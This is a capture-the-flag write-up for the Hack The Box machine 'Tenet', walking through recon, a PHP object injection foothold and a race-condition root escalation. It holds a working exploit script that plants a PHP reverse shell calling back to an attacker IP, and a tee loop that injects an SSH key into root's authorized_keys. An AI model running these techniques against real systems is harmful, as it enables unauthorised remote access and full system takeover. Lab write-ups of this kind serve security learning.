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Creator: egotisticalSW

Personal thoughts

This is a custom exploitation box, and you obviously need to know about PHP Object Injection and a bit of scripting.. Enjoyed solving it and learned new things; apart from the foothold, it's not even a medium-leveled box. I tried to explain the steps as simple as I can. Hope you'll find it useful; if so, consider suporting a student to get OSCP exam and +respecting my profile in HTB.

f4T1H
Support

Now, let me get right into it.

Reconnaissance

First things first, add tenet.htb 10.10.10.223 line to your /etc/hosts file.

Let's start with nmap:

nmap -sS -sC -sV -p- 10.10.10.223

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here we have only one open port except 22/ssh, let's go with that then..

80/http

Let's start with the direct ip address of the box, which is 10.10.10.223.

Direct IP: 10.10.10.223

We have only an "Apache 2 Ubuntu Default Page" here. Let's do some further enumeration:

Scanning subdirectories

Personally I love gobuster, so I'm going with it. You can go with wfuzz or ffuf or your own tool.

┌──(root💀f4T1H)-[~/hackthebox/tenet]
└─> gobuster dir -q -u http://10.10.10.223 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php -e
http://10.10.10.223/users.txt            (Status: 200) [Size: 7]
http://10.10.10.223/wordpress            (Status: 301) [Size: 316] [--> http://10.10.10.223/wordpress/]

users.txt, hmm interesting. But as you can see below we have nothing but Success string inside it..

We have a wordpress site -which we saw in the nmap result- in /wordpress/ directory.

Let's continue with the wordpress domain then, tenet.htb.

Domain: tenet.htb

Here we have the wordpress site and some posts..

  • Scannning for subdirectories on tenet.htb only gives us general wordpress directories.
  • Nothing interesting in wpscan result.

While enumerating inside the page, I found a comment in the post Migration.

Here we got two things:

  • A username: neil
  • A file named sator.php and its backup.

Let's first learn which extensions are being used in backup files..

Okay, now we need to check these 3 backup extensions with their two variations (uppercase and lowercase) and on the two root directories which are tenet.htb/ and 10.10.10.223/.

After the hit and try, I found the files in 10.10.10.223/sator.php and 10.10.10.223/sator.php.bak. Download and move sator.php.bak into your current working directory.

sator.php

sator.php.bak

<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

Foothold: PHP Object Injection aka Deserialization

Okay, here comes my explanation:

In a PHP code, if a class has a function named __destruct; when we unserialize the class, PHP calls the __destruct function in that class. Problem begins in the class's __destruct function's content; if the function writes variables' data to a file, then we can exploit it by changing values of serialized class's variables.

  • Google to know more about this vulnerability.
  • You may want to read this article to make things more clear in your brain.
  • If you know Turkish, this article by @mdisec can also be useful for you.

The relationship with our case:

  • We see the code looks for a GET input variable "arepo" and unserializes it.
  • The function __destruct in the class DatabaseExport uses file_put_contents to write the variable data to the file defined in the variable user_file

Now we need to make some differences on the PHP code to exploit this vulnerability and get a reverse shell. I left the parts we don't need in the code too so that you can see what exactly we changed in the code.

Scripting time XD

This script we modified writes DatabaseExport class to our local machine, defines the user_file variable as a PHP file and the data as a reverse_shell to our localhost.

exploit.php

<?php

class DatabaseExport
{
	public $user_file = 'shell.php';
	public $data = '<?php $sock=fsockopen("YOUR_IP_HERE",2121);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>';
//	public $user_file = 'users.txt';
//	public $data = '';

//	public function update_db()
//	{
//		echo '[+] Grabbing users from text file <br>';
//		$this-> data = 'Success';
//	}
//

	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$url = 'http://10.10.10.223/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$url");
$response = file_get_contents("http://10.10.10.223/shell.php");


//$input = $_GET['arepo'] ?? '';
//$databaseupdate = unserialize($input);

//$app = new DatabaseExport;
//$app -> update_db();


?>

Getting the shell

Now the only thing we need to do is running a nc listener and firing up the exploit.php.

Attention: Change the ip address part.

💥BOOM We got a shell as www-data!!!

Privilege Escalation: Race Condition

Before escalating to root, let's first become the user neil as you can remember we found him in comments.

Escalating to user

There's a /var/www/html/wordpress directory, and usually the wordpress directories contain credentials inside a file named wp-config.php in them.

Now we can SSH into the machine as the user.

Escalating to root

Before running anything else, let's check if we have any sudo privileges with sudo -l as we know our password.

neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
neil@tenet:~$

/usr/local/bin/enableSSH.sh

#!/bin/bash

checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

		/bin/echo "Successfully added $sshName to authorized_keys file!"

	else

		/bin/echo "Error in adding $sshName to authorized_keys file!"

	fi

}

checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

		/bin/echo "Error in creating key file!"

		if [[ -f $1 ]]; then /bin/rm $1; fi

		exit 1

	fi

}

addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName)

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

Oh, here comes the second fun part, which is a Race Condition

Let me explain what this script actually does:

  • First creates a randomly-generated named file format of /tmp/ssh-XXXXXXXX. Think like you can add change each of "X" characters in the name with any other random character.
  • Then writes root@ubuntu's public ssh key inside that file.
  • After that writes the content of /tmp/ssh-XXXXXXXX -which now has the public ssh key of root inside it- to /root/.ssh/authorized_keys.
  • And finally deletes the /tmp/ssh-XXXXXXXX file.

Now the thing is: There is a race condition here because we can change content of the file created with a simple bash looop before the script gets executed the next line which is adding the content to /root/authorized_keys.

Through this, we can be able to ssh into root@tenet.htb without password or any other thing.

Getting the root shell

Attention: Make sure you have two ssh connection to the box as the user neil.

Steps to get root:

#1 Generate a public-private ssh key pair.

Run in your localhost, do not type anything as password or file name, just press Enter.

┌──(root💀f4T1H)-[~/hackthebox/tenet]
└─> ssh-keygen       
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
#2 Set a loop

We need to write our public key immediately to the /tmp/ssh-XXXXXXXX file when /usr/local/bin/enableSSH.sh is running. Because the file is both being creaated and deleted by /usr/local/bin/enableSSH.sh. That means we can't execute write command by hand on time, we need a loop to make things rapidly.

Run this in one of your ssh connections.

Attention: Make sure you copied your public ssh key from ~/.ssh/id_rsa.pub.

neil@tenet:~$ while true; do echo 'YOUR_PUBLIC_SSH_KEY_HERE' | tee /tmp/ssh-* > /dev/null;done
#3 Run the script

Now we all set, run the script in the other of your ssh connections with sudo privileges and write our public ssh key into root's authorized_keys.

Attention: You need to run the script 7-8 times.

neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:~$

#4 Connect to box via ssh as root

If you've done all the steps that I write, we are now able to ssh root@tenet.htb.

And we successfully pwned the machine...

Closing

If you liked my writeup, consider suporting a student to get OSCP exam and +respecting my profile in HTB.

f4T1H
Support

Resources

Exploiting PHP Deserialization https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a
PHP Object Injection Saldırıları https://www.mehmetince.net/php-object-injection-saldirilari-ve-korunmasi/

-Written by f4T1H-